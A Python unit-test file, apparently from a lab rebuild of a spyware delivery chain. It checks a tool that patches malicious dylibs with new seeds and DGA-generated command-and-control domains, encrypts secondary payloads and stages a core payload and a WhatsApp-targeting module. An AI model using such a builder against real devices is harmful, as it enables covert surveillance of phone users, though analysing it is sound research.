hashbro
365 lines
17 KiB
Python
365 lines
17 KiB
Python
#!/usr/bin/env python3
|
|
from __future__ import annotations
|
|
|
|
import json
|
|
import sys
|
|
import tempfile
|
|
import unittest
|
|
from pathlib import Path
|
|
|
|
TOOLS = Path(__file__).resolve().parents[1]
|
|
sys.path.insert(0, str(TOOLS))
|
|
|
|
from _details_pack import extract_member # noqa: E402
|
|
from _secondary_pack import decrypt_secondary_minjs # noqa: E402
|
|
import build as xxbb_build # noqa: E402
|
|
from reproduce_xxbb_dga import generate_domains # noqa: E402
|
|
|
|
|
|
class XxbbBuildTest(unittest.TestCase):
|
|
def test_patch_and_round_trip(self) -> None:
|
|
meta = json.loads((TOOLS / "secondary_keys.json").read_text())
|
|
dep = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
|
|
rep = "bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb"
|
|
channel_c = "cccccccccccccccccccccccccccccccc"
|
|
patched = {}
|
|
for group in ("A", "B", "C"):
|
|
path = xxbb_build.group_dylib_path(group)
|
|
data = xxbb_build.patch_dylib(
|
|
path.read_bytes(),
|
|
deployment_seed=dep,
|
|
reporting_seed=rep,
|
|
channel_c=channel_c,
|
|
label=path.name,
|
|
)
|
|
self.assertEqual(data.count(dep.encode()), 1)
|
|
self.assertEqual(data.count(rep.encode()), 1)
|
|
self.assertEqual(data.count(channel_c.encode()), 1)
|
|
self.assertEqual(data.count(xxbb_build.ORIGINAL_DEP.encode()), 0)
|
|
self.assertEqual(data.count(xxbb_build.ORIGINAL_REP.encode()), 0)
|
|
self.assertEqual(data.count(xxbb_build.ORIGINAL_C.encode()), 0)
|
|
self.assertEqual(data.count(xxbb_build.SEVEN_ZIP_PASSWORD.encode()), 1)
|
|
patched[group] = data
|
|
|
|
for stem, info in meta["stems"].items():
|
|
key = bytes.fromhex(info["key"])
|
|
wire = __import__("_secondary_pack", fromlist=["encrypt_secondary_minjs"]).encrypt_secondary_minjs(
|
|
patched[info["group"]], key
|
|
)
|
|
out = decrypt_secondary_minjs(wire, key)
|
|
self.assertEqual(out, patched[info["group"]])
|
|
|
|
def test_apply_writes_shared_weifile_and_patched_details(self) -> None:
|
|
with tempfile.TemporaryDirectory() as tmp:
|
|
artifact = Path(tmp) / "public"
|
|
state = Path(tmp) / "state"
|
|
out = Path(tmp) / "out"
|
|
channel_c = "33333333333333333333333333333333"
|
|
argv = [
|
|
"build.py",
|
|
"--deployment-seed",
|
|
"11111111111111111111111111111111",
|
|
"--reporting-seed",
|
|
"11111111111111111111111111111111",
|
|
"--channel-c",
|
|
channel_c,
|
|
"--artifact-root",
|
|
str(artifact),
|
|
"--state-root",
|
|
str(state),
|
|
"--out",
|
|
str(out),
|
|
"--apply",
|
|
"--force",
|
|
]
|
|
old = sys.argv
|
|
try:
|
|
sys.argv = argv
|
|
self.assertEqual(xxbb_build.main(), 0)
|
|
finally:
|
|
sys.argv = old
|
|
weifile = state / "out" / "weifile"
|
|
details = artifact / "details"
|
|
self.assertFalse((artifact / "weifile").exists())
|
|
self.assertTrue((weifile / "index.js").is_file())
|
|
self.assertTrue((weifile / "weifile.html").is_file())
|
|
self.assertFalse((weifile / "route.js").is_file())
|
|
html = (weifile / "weifile.html").read_text(encoding="utf-8")
|
|
self.assertNotIn("__CHANNEL_C__", html)
|
|
self.assertNotIn('src="/t.js"', html)
|
|
self.assertNotIn('src="route.js"', html)
|
|
self.assertNotIn("/next-chain/frame.html", html)
|
|
self.assertIn('src="index.js"', html)
|
|
self.assertNotIn("config.js", html)
|
|
self.assertNotIn("boot.js", html)
|
|
self.assertNotIn("holdFresh", html)
|
|
index_js = (weifile / "index.js").read_text(encoding="utf-8")
|
|
expected_host = generate_domains(channel_c, 1)[0]
|
|
self.assertIn(expected_host, index_js)
|
|
self.assertNotIn("[placeholder].icu", index_js)
|
|
self.assertIn("CACACACA", index_js)
|
|
self.assertIn("sessionId:sid", index_js)
|
|
self.assertIn("__iptj_sid", index_js)
|
|
self.assertFalse((artifact / "source").exists())
|
|
self.assertTrue((details / "show.html").is_file())
|
|
self.assertTrue((details / "corepayload.js").is_file())
|
|
self.assertTrue((details / "helion.js").is_file())
|
|
meta = xxbb_build.load_keys()
|
|
self.assertGreaterEqual(len(meta["stems"]), 10)
|
|
self.assertIn("fb95e427382180860f0b48a8854576ec1a6ce7b1", meta["stems"])
|
|
for stem, info in meta["stems"].items():
|
|
blob = (weifile / f"{stem}.min.js").read_bytes()
|
|
dylib = decrypt_secondary_minjs(blob, bytes.fromhex(info["key"]))
|
|
self.assertIn(b"11111111111111111111111111111111", dylib, stem)
|
|
self.assertIn(channel_c.encode(), dylib, stem)
|
|
self.assertIn(xxbb_build.SEVEN_ZIP_PASSWORD.encode(), dylib, stem)
|
|
self.assertIn(b"https://%@\x00", dylib, stem)
|
|
self.assertNotIn(b"http://%@\x00", dylib, stem)
|
|
self.assertNotIn(xxbb_build.ORIGINAL_C.encode(), dylib, stem)
|
|
|
|
member, core = extract_member((details / "corepayload.js").read_bytes())
|
|
self.assertEqual(member, "corepayload.dylib")
|
|
self.assertEqual(core.count(channel_c.encode()), xxbb_build.CORE_C_EXPECT)
|
|
self.assertEqual(core.count(xxbb_build.ORIGINAL_C.encode()), 0)
|
|
|
|
show_member, show_plain = extract_member((details / "show.html").read_bytes())
|
|
self.assertEqual(show_member, "data.bin")
|
|
show = json.loads(show_plain.decode("utf-8"))
|
|
self.assertEqual(show["core"]["sha256"], xxbb_build.sha256_hex(core))
|
|
self.assertEqual(show["core"]["size"], len(core))
|
|
by_bundle = {e["bundleId"]: e for e in show["entries"]}
|
|
self.assertIn("net.whatsapp.WhatsApp", by_bundle)
|
|
self.assertNotIn("imagent", by_bundle)
|
|
self.assertTrue((details / "wap.js").is_file())
|
|
self.assertTrue((details / "sms.js").is_file())
|
|
member, plain = extract_member((details / "wap.js").read_bytes())
|
|
self.assertTrue(member.endswith(".dylib"), member)
|
|
self.assertEqual(by_bundle["net.whatsapp.WhatsApp"]["sha256"], xxbb_build.sha256_hex(plain))
|
|
self.assertEqual(by_bundle["net.whatsapp.WhatsApp"]["size"], len(plain))
|
|
self.assertNotIn(b"761847cfb1ad3de68e11239dcc26c30b", plain)
|
|
self.assertNotIn(b"abf3bdc8e239c0f3183c257f9ccc23e8", plain)
|
|
self.assertIn(b"sharedReportingPool", plain)
|
|
|
|
seeds = json.loads((state / "lab_seeds.json").read_text())
|
|
self.assertEqual(seeds["deployment_seed"], "11111111111111111111111111111111")
|
|
self.assertEqual(seeds["reporting_seed"], "11111111111111111111111111111111")
|
|
self.assertEqual(seeds["channel_c"], channel_c)
|
|
self.assertEqual(seeds["domains"]["deployment"][0], "syv4c2c8nb8fpzo.icu")
|
|
self.assertTrue(xxbb_build.XXBB_DGA_HOST_RE.fullmatch(seeds["domains"]["deployment"][0]))
|
|
|
|
manifest = json.loads((out / "MANIFEST.json").read_text())
|
|
self.assertIsNone(manifest["weifile_path"])
|
|
self.assertEqual(manifest["details_path"], "/details/")
|
|
self.assertEqual(manifest["iptj_host"], generate_domains(channel_c, 1)[0])
|
|
self.assertTrue(manifest["staged_weifile"].endswith("weifile"))
|
|
|
|
def test_seeds_generated_once_then_reused(self) -> None:
|
|
with tempfile.TemporaryDirectory() as tmp:
|
|
state = Path(tmp) / "state"
|
|
first = xxbb_build.resolve_seeds(
|
|
lab_seeds_path=state / "lab_seeds.json",
|
|
cli_dep=None,
|
|
cli_rep=None,
|
|
cli_c=None,
|
|
)
|
|
second = xxbb_build.resolve_seeds(
|
|
lab_seeds_path=state / "lab_seeds.json",
|
|
cli_dep=None,
|
|
cli_rep=None,
|
|
cli_c=None,
|
|
)
|
|
self.assertTrue(first[4])
|
|
self.assertFalse(second[4])
|
|
self.assertEqual(first[:3], second[:3])
|
|
self.assertEqual(first[3], second[3])
|
|
self.assertEqual(len(first[0]), 32)
|
|
self.assertEqual(len(first[1]), 32)
|
|
self.assertEqual(first[0], first[1])
|
|
self.assertEqual(len(first[2]), 32)
|
|
self.assertNotEqual(first[2], xxbb_build.SEVEN_ZIP_PASSWORD)
|
|
self.assertEqual(len(first[3]["deployment"]), 5)
|
|
self.assertEqual(len(first[3]["reporting"]), 5)
|
|
self.assertEqual(first[3]["deployment"], first[3]["reporting"])
|
|
self.assertTrue(xxbb_build.XXBB_DGA_HOST_RE.fullmatch(first[3]["deployment"][0]))
|
|
self.assertEqual(first[3]["deployment"][0], generate_domains(first[2], 1)[0])
|
|
|
|
def test_xxbb_dga_matches_native_pool(self) -> None:
|
|
self.assertEqual(
|
|
generate_domains("202700cfb1ad3de68e11239dcc26c30b", 5),
|
|
[
|
|
"1i6cbgdyj3qdk88.icu",
|
|
"avm2jnhejigb0ac.icu",
|
|
"hjlif8t069cfbn3.icu",
|
|
"os8yvsh2j1dv4mk.icu",
|
|
"gb53wymxxljkokf.icu",
|
|
],
|
|
)
|
|
self.assertEqual(
|
|
generate_domains("321fb0c812b46265421b5ad9654c2b81", 1),
|
|
["8fn4957c5g986jp.icu"],
|
|
)
|
|
|
|
def test_stale_lab_dga_cache_is_recomputed(self) -> None:
|
|
with tempfile.TemporaryDirectory() as tmp:
|
|
path = Path(tmp) / "lab_seeds.json"
|
|
path.write_text(
|
|
json.dumps(
|
|
{
|
|
"deployment_seed": "e8afcf657ad1d47256b33166f6469d6f",
|
|
"reporting_seed": "e8afcf657ad1d47256b33166f6469d6f",
|
|
"channel_c": xxbb_build.ORIGINAL_C,
|
|
"domains": {
|
|
"deployment": ["www.xa1qtof56-b1mdjth.cfd"],
|
|
"reporting": ["www.xa1qtof56-b1mdjth.cfd"],
|
|
},
|
|
}
|
|
)
|
|
)
|
|
dep, _rep, channel_c, domains, computed = xxbb_build.resolve_seeds(
|
|
lab_seeds_path=path,
|
|
cli_dep=None,
|
|
cli_rep=None,
|
|
cli_c=None,
|
|
)
|
|
self.assertTrue(computed)
|
|
self.assertEqual(dep, "e8afcf657ad1d47256b33166f6469d6f")
|
|
self.assertEqual(channel_c, xxbb_build.ORIGINAL_C)
|
|
self.assertEqual(domains["deployment"][0], "1i6cbgdyj3qdk88.icu")
|
|
saved = json.loads(path.read_text())
|
|
self.assertEqual(saved["domains"]["deployment"][0], "1i6cbgdyj3qdk88.icu")
|
|
|
|
def test_cli_seeds_must_match(self) -> None:
|
|
with tempfile.TemporaryDirectory() as tmp:
|
|
with self.assertRaises(SystemExit):
|
|
xxbb_build.resolve_seeds(
|
|
lab_seeds_path=Path(tmp) / "lab_seeds.json",
|
|
cli_dep="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
|
|
cli_rep="bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb",
|
|
cli_c=None,
|
|
)
|
|
|
|
def test_apply_writes_details_and_staged_weifile(self) -> None:
|
|
with tempfile.TemporaryDirectory() as tmp:
|
|
artifact = Path(tmp) / "public"
|
|
state = Path(tmp) / "state"
|
|
argv = [
|
|
"build.py",
|
|
"--channel-c",
|
|
"33333333333333333333333333333333",
|
|
"--deployment-seed",
|
|
"11111111111111111111111111111111",
|
|
"--reporting-seed",
|
|
"11111111111111111111111111111111",
|
|
"--artifact-root",
|
|
str(artifact),
|
|
"--state-root",
|
|
str(state),
|
|
"--apply",
|
|
]
|
|
old = sys.argv
|
|
try:
|
|
sys.argv = argv
|
|
self.assertEqual(xxbb_build.main(), 0)
|
|
finally:
|
|
sys.argv = old
|
|
self.assertTrue((artifact / "details" / "show.html").is_file())
|
|
self.assertFalse((artifact / "weifile").exists())
|
|
self.assertTrue((state / "out" / "weifile" / "index.js").is_file())
|
|
index_js = (state / "out" / "weifile" / "index.js").read_text(encoding="utf-8")
|
|
self.assertIn(generate_domains("33333333333333333333333333333333", 1)[0], index_js)
|
|
self.assertIn("CACACACA", index_js)
|
|
|
|
def test_discovers_all_fafa_secondaries(self) -> None:
|
|
meta = xxbb_build.load_keys()
|
|
stems = meta["stems"]
|
|
self.assertEqual(len(stems), 10)
|
|
self.assertEqual(sum(1 for info in stems.values() if info["group"] == "A"), 4)
|
|
self.assertEqual(sum(1 for info in stems.values() if info["group"] == "B"), 5)
|
|
self.assertEqual(sum(1 for info in stems.values() if info["group"] == "C"), 1)
|
|
self.assertIn("1ad1ff474e417d0a07ff1ed70a5f4c9daf3644f6", stems)
|
|
self.assertIn("fb95e427382180860f0b48a8854576ec1a6ce7b1", stems)
|
|
self.assertEqual(stems["fb95e427382180860f0b48a8854576ec1a6ce7b1"]["group"], "A")
|
|
|
|
def test_random_c_rewrites_lab_seeds(self) -> None:
|
|
with tempfile.TemporaryDirectory() as tmp:
|
|
path = Path(tmp) / "lab_seeds.json"
|
|
first = xxbb_build.resolve_seeds(
|
|
lab_seeds_path=path,
|
|
cli_dep="11111111111111111111111111111111",
|
|
cli_rep="11111111111111111111111111111111",
|
|
cli_c="33333333333333333333333333333333",
|
|
)
|
|
second = xxbb_build.resolve_seeds(
|
|
lab_seeds_path=path,
|
|
cli_dep="11111111111111111111111111111111",
|
|
cli_rep="11111111111111111111111111111111",
|
|
cli_c=None,
|
|
random_c=True,
|
|
)
|
|
self.assertEqual(first[2], "33333333333333333333333333333333")
|
|
self.assertNotEqual(second[2], first[2])
|
|
self.assertEqual(len(second[2]), 32)
|
|
self.assertEqual(second[3]["deployment"][0], generate_domains(second[2], 1)[0])
|
|
|
|
def test_pack_channel_ver_helpers(self) -> None:
|
|
import pack_channel
|
|
|
|
self.assertEqual(pack_channel.normalize_channel_ver("3.1.07"), "3.1.07")
|
|
self.assertEqual(pack_channel.normalize_channel_ver("a.b.c1"), "A.B.C1")
|
|
with self.assertRaises(SystemExit):
|
|
pack_channel.normalize_channel_ver("FAFA9988")
|
|
path = pack_channel.SHOW_PATH_TMPL.format(ver="A.B.C1").encode()
|
|
self.assertEqual(len(path), len(pack_channel.SHOW_PATH_OLD))
|
|
|
|
stripped = pack_channel.strip_iptj_beacon(
|
|
'head,function(){[67,72,77,75,54,73,71,48,56,70,52,50,52,57,54,67,50,50]'
|
|
'whatever,__iptj_sid,channelCode},2e3)}();'
|
|
)
|
|
self.assertEqual(stripped, "head;")
|
|
html = pack_channel.inject_tjs("<html><head></head><body></body></html>")
|
|
self.assertIn('src="/t.js"', html)
|
|
boot_html = '<html><head></head><body><script src="boot.js"></script></body></html>'
|
|
injected = pack_channel.inject_tjs(boot_html)
|
|
self.assertIn('src="/t.js"', injected)
|
|
self.assertEqual(injected.count("/t.js"), 1)
|
|
already = '<html><head><script src="/t.js" defer></script></head><body>boot.js</body></html>'
|
|
self.assertEqual(pack_channel.inject_tjs(already), already)
|
|
self.assertFalse((xxbb_build.SOURCE_WEIFILE / "route.js").is_file())
|
|
for name in ("weifile.html", "templates/blank.html", "templates/test.html"):
|
|
landing = (xxbb_build.SOURCE_WEIFILE / name).read_text(encoding="utf-8")
|
|
self.assertIn('src="index.js"', landing)
|
|
self.assertNotIn('src="/t.js"', landing)
|
|
self.assertNotIn('src="route.js"', landing)
|
|
self.assertNotIn("/next-chain/frame.html", landing)
|
|
self.assertNotIn("config.js", landing)
|
|
self.assertNotIn("boot.js", landing)
|
|
self.assertNotIn("holdFresh", landing)
|
|
self.assertNotIn("__LAB_RUN_BOOT__", landing)
|
|
self.assertNotIn("iframe", landing)
|
|
self.assertNotIn("channeICode", landing)
|
|
|
|
def test_source_details_has_lab_passworded_wap_and_sms(self) -> None:
|
|
show_member, show_plain = extract_member((xxbb_build.SOURCE_DETAILS / "show.html").read_bytes())
|
|
self.assertEqual(show_member, "data.bin")
|
|
show = json.loads(show_plain.decode("utf-8"))
|
|
by_bundle = {e["bundleId"]: e for e in show["entries"]}
|
|
self.assertNotIn("imagent", by_bundle)
|
|
self.assertTrue((xxbb_build.SOURCE_DETAILS / "sms.js").is_file())
|
|
expected = {
|
|
"net.whatsapp.WhatsApp": "wap.js",
|
|
}
|
|
for bundle, name in expected.items():
|
|
self.assertIn(bundle, by_bundle)
|
|
self.assertTrue(by_bundle[bundle]["url"].endswith("/details/" + name))
|
|
path = xxbb_build.SOURCE_DETAILS / name
|
|
self.assertTrue(path.is_file(), name)
|
|
member, plain = extract_member(path.read_bytes())
|
|
self.assertEqual(by_bundle[bundle]["sha256"], xxbb_build.sha256_hex(plain))
|
|
self.assertEqual(by_bundle[bundle]["size"], len(plain))
|
|
self.assertNotIn(xxbb_build.ORIGINAL_C.encode(), plain)
|
|
self.assertIn(b"https://%@", plain)
|
|
|
|
|
|
if __name__ == "__main__":
|
|
unittest.main()
|